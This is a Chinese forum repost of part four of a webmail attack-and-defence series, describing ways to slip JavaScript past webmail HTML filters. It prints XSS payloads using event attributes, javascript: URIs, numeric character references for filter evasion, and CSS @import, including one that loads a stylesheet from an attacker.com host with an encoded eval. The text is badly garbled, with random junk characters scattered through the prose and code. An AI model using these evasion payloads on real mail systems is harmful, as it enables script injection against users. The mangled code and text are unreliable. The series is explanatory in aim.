Webmail攻防實戰(4)
鑒於腳本程序可能帶來的危險，WebMail係統完全有必要禁止html郵件中的腳本程序。禁止腳本程序的基本做法就是過濾掉html源程序中能夠使腳本程序運行的代碼，如script元素等，在這方面做的最好的莫過於hotmail了。下面是些常見的繞過腳本程序過濾的方法，不少的WebMail 係統仍然沒有完全改正：o!u r^8u
(1)在html語言裏，除了script元素內的或在script元素內引入的腳本程序能在html頁面裝載時被運行外，使用事件屬性也能調用腳本程序運行，事件屬性在JavaScript語言裏被稱為事件句柄，用於對頁面上的某個特定事件（如鼠標點擊、表單提交）做出響應，驅動 javascript程序運行。它的語法如下：
＜tagattribute1attribute2＞
例如：
y"s,H:Zg:`q9^;~
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]
＜body＞
＜ahref="#"＞Clickhere＜/a＞ |_3BF p
＜formmethod="post"action="#"＞ 中國
`'|'nj(T5\ q F&w
＜inputtype="submit"value="Submit"＞0e;[4B_Z RO(R m G v
＜/form＞&PDOS M'F+[+O_#Oo\Q
＜/body＞[/td][/tr][/table]
(2)URI（UniversalResourceIdentifier：通用資源標識）用於定位Internet上每種可用的資源，如HTML文檔、圖像、聲音等。瀏覽器根據URI的資源類型（URIscheme）調用相應的程序操作該資源，如果把一些元素的URI屬性值的資源類型設為javascript，則能夠調用javascript程序運行。語法如下，注意要用“；”分隔不同的javascript語句： Www.
＜tagattribute="javascript:javascript-code；"＞ [color=#f5fafe][/color] R4TA)b }-@
例如：
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color] V%Pla#F+bl0R
＜bodybackground="javascript:alert('JavaScript#1isexecuted')；"＞
＜ahref="javascript:alert('JavaScript#2isexecuted')；"＞Clickhere＜/a＞dJ'?'JSz
＜formmethod="post"action="javascript:alert('JavaScript#3isexecuted')；"＞ K7O&kh^ R!h4y7W
＜inputtype="submit"value="Submit"＞
＜/form＞
＜imgsrc="javascript:alert('JavaScript#4isexecuted')；"＞6K(gR S7D1M`
＜/body＞[/td][/tr][/table]
mI;Qh8K$ib
(3)由於軟硬件或其他原因，一些冷僻或特殊的字符不能輸入或正確顯示在html頁面上，為了解決這個問題，html中可以使用 SGML字符參考。字符參考是一種用來指定文檔字符集中任何字符的獨立編碼機制，以“&”開始，以“；”結束。字符參考有兩種表達方式：數字字符參考和實體字符參考。數字字符參考的語法為“&#D；”（D代表一個十進制數），或“&#xH；”、“&#XH；”（H代表一個十六進制數），例如“A；”、“A；”表示字母“A”，“水；”、“水；”表示漢字“水”。 中國
攻擊者把html語句裏的一些字符以數字字符參考來代替，這樣能避開WebMail係統對腳本程序的過濾。需要注意的是，元素和屬性不可以用字符參考表示，例如： A(a)i:s O9G/cx
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]
＜body＞z&HKm1W/j;l F r A
＜imglowsrc="ja；vasC；ript:alert('JavaScript#1isexecuted')"＞
＜ahref="j；avA；sC；ript:；aler；t('JavaScript#2's DZL.X5Q5e"~
i；ܾxecuted')"＞Clickhere；＜/a＞
＜formmethod="post"action="javascript:alert('JavaScript#3is
executed')"＞
＜inputtype="S；ubmit"value="Submit"＞
]+q.Dw"X1^@P
＜/form＞
＜/body＞[/td][/tr][/table]
(4)樣式表是層疊樣式表單（CSS：CascadingStyleSheet）的簡稱，用於控制、增強或統一網頁上的樣式（如字體、顏色等），它能夠將樣式信息與網頁內容相分離，在html語言的style標簽內可以用@import聲明輸入一個樣式表。但是，如果輸入的資源類型或內容是javascript，InternetExplorer瀏覽器仍然會執行。
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]@4xx4vC7N0P
例如：＜styletype="text/css"＞
＜!--
@importurl(javascript:alert('JavaScript#1isexecuted'))；#A[)S9ya|%RE1W*B2Y
@importurl([url]http://www.attacker.com/js.css[/url])；
--＞
＜/style＞[/td][/tr][/table][color=#f5fafe][/color] e:gT*V.v*^/?
其中[url]http://www.attacker.com/js.css[/url]的內容如下所示：
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]
@importurl(javascript:alert('JavaScript#2isexecuted'))；
@importurl(javascript:eval(String.fromCharCode6t X k-j4` b9Z R
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97, ^3h.PS9iP3A
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)))；[/td][/tr][/table]
能夠繞過WebMail係統對腳本程序過濾的方法遠不止上面所說的這些，例如曾有人發現把“＜script＞”標簽改成“＜_a＜script＞”和“＜＜script＞”的樣子能繞過yahoo電郵的過濾，這個漏洞yahoo在最近才改正過來。
頁:
[1]